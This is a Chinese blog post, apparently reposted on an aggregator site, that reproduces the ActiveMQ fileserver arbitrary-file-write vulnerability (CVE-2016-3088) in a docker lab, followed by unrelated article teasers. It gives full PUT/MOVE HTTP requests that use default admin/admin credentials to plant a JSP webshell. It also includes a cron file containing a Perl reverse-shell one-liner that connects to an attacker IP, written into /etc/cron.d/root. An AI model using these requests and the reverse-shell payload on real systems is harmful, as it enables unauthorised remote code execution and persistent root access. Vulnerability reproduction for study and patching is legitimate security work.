ActiveMQ任意文件写入漏洞(CVE-2016-3088)

简述:ActiveMQ的fileserver支持写入文件(但是不支持解析jsp),同时也支持移动文件。所以我们只需要先上传到服务器,然后再移动到可以解析的地方即可造成任意文件写入漏洞。我们可以利用这个漏洞来上传webshell或者上传定时任务文件。

漏洞复现

启动环境

docker compose up -d
# 访问http://ip:8186

写入webshell

条件: 必须要登陆

弱口令登录 (admin/admin)

1.查看ACTIVEMQ的绝对路径

http:/192.168.2.103:8186/admin/test/systemProperties.jsp    # 使用admin/admin登录

获取到绝对路径为/opt/activemq

2.发送数据包上传webshell

PUT /fileserver/2.txt HTTP/1.1
Host: 192.168.2.103:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.6,zh-CN;q=0.5
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Connection: close
Content-Length: 6467webshell

3.移动webshell到web目录下的api文件夹中

MOVE /fileserver/2.txt HTTP/1.1
Destination:file:///opt/activemq/webapps/api/test.jsp
Host: 192.168.2.103:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.6,zh-CN;q=0.5
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Connection: close
Content-Length: 0

发送上面两个数据包,如果响应码均为204即为上传成功。可以访问网站根目录下的api路径查看。

4.连接webshell

直接连接是会报错的,因为这个木马需要登录之后才能访问,所以我们要将请求包中用来鉴权的参数加入到连接器中,这里用蚁剑做例子。

成功连接。

写入Cron文件

条件:Activemq程序必须是root权限运行的,否则无法写入。

1.上传配置文件

PUT /fileserver/test.txt HTTP/1.1
Host: 192.168.2.103:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.6,zh-CN;q=0.5
Cookie: JSESSIONID=134ekt28ma5xp9c4elldm3mzi
Connection: close
Content-Length: 248*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="ip";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2.移动到定时目录下并改名

MOVE /fileserver/test.txt HTTP/1.1
Destination:file:///etc/cron.d/root
Host: 192.168.2.103:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.6,zh-CN;q=0.5
Cookie: JSESSIONID=134ekt28ma5xp9c4elldm3mzi
Connection: close
Content-Length: 0

3.服务器进行监听,等待定时任务生效

成功接收shell。笔者已将反弹shell的操作写成了脚本可以一键执行,需要的可以加群联系。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/267866.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++学习笔记(十一)------has_a和use_a关系

文章目录 前言 一、has_a关系 1.1 has_a概念 1.2 has_a中构造和析构的顺序 1.3 has_a对象的内存情况 二、use_a关系(友元关系) 1.友元函数: 2.友元类 3 使用多文件编程的方式重新编辑上述代码 总结 前言 随着技术的革新,出现各种各…

到底什么是DevOps

DevOps不是一组工具,也不是一个特定的岗位。在我看来DevOps更像是一种软件开发文化,一种实现快速交付能力的手段。 DevOps 强调的是高效组织团队之间如何通过自动化的工具协作和沟通来完成软件的生命周期管理,从而更快、更频繁地交付更稳定的…

高通平台开发系列讲解(USB篇)MBIM 调试记录

文章目录 一、MBIM网卡显示二、未插入SIM卡情况显示三、SIM 无服务四、正常五、抓取QXDM log 分析沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本文主要介绍MBIM网卡调试过程的记录。 一、MBIM网卡显示 若显示黄标,则检查mbimd进程是否正常,mbim驱动是否正常。 二…

Http模块

Http模块 1.创建http服务 //导入http模块 const http require(http)//创建服务对象 const server http.createServer((request,response)>{response.end(Hello HTTP Server) })// 监听端口,启动服务 server.listen(9000,()>{console.log(服务已启动....);…

class076 区间dp-上【算法】

class076 区间dp-上【算法】 算法讲解076【必备】区间dp-上 code1 1312. 让字符串成为回文串的最少插入次数 // 让字符串成为回文串的最少插入次数 // 给你一个字符串 s // 每一次操作你都可以在字符串的任意位置插入任意字符 // 请你返回让s成为回文串的最少操作次数 // 测试…

深度学习 Day11——T11优化器对比实验

🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 | 接辅导、项目定制 文章目录 前言一、我的环境二、代码实现与执行结果1.引入库2.设置GPU(如果使用的是CPU可以忽略这步)3.导入数据4.查…

单位的网络能监控微信聊天记录吗

有人在后台咨询,单位的网络能监控微信聊天记录吗 先来回答这个问题: 是的,公司网络在特定情况下可以监控到微信聊天记录。 1,公司可能会通过网络监控软件来监控员工的网络活动。比如说我们经常使用的,域之盾软件&…

scala表达式

1.8 表达式(重点) # 语句(statement):一段可执行的代码# 表达式(expression):一段可以被求值的代码,在Scala中一切都是表达式 - 表达式一般是一个语句块,可包含一条或者多条语句,多条语句使用“…

基于SSM框架的在线投票系统

基于SSM框架的在线投票系统 文章目录 基于SSM框架的在线投票系统 一.引言二.系统设计三.技术架构四.功能实现五.界面展示六.源码获取 一.引言 随着科技的不断发展,人们对于民主参与的需求也越来越高。在线投票系统应运而生,为人们提供了便捷、高效的投票…

ImmunityCanvas7.26安装详细教程

ImmunityCanvas7.26 大家想必都已经知道了Immunity Canvas7.26武器于2021年3月2日泄露了吧那我就废话不多说了。 很多人已经有了这款工具不得不说这工具很nice如果要买的话一年的话3万美金我的天我穷了。。 简单介绍 Immunity Canvas是美国ImmunitySec出品的安全漏洞检测工具…

[渗透测试学习] CozyHosting - HackTheBox

文章目录 信息搜集 信息搜集 nmap扫描一下,发现存在80端口和22端口 nmap -sV -sC -p- -v --min-rate 1000 10.10.11.230直接访问80端口发现有跳转 那么我们将ip添加到hosts里面,成功访问 观察发现是企业网站,扫描一下没有子域名 那么就扫…

Mybatis之自定义映射resultMap

学习的最大理由是想摆脱平庸,早一天就多一份人生的精彩;迟一天就多一天平庸的困扰。各位小伙伴,如果您: 想系统/深入学习某技术知识点… 一个人摸索学习很难坚持,想组团高效学习… 想写博客但无从下手,急需…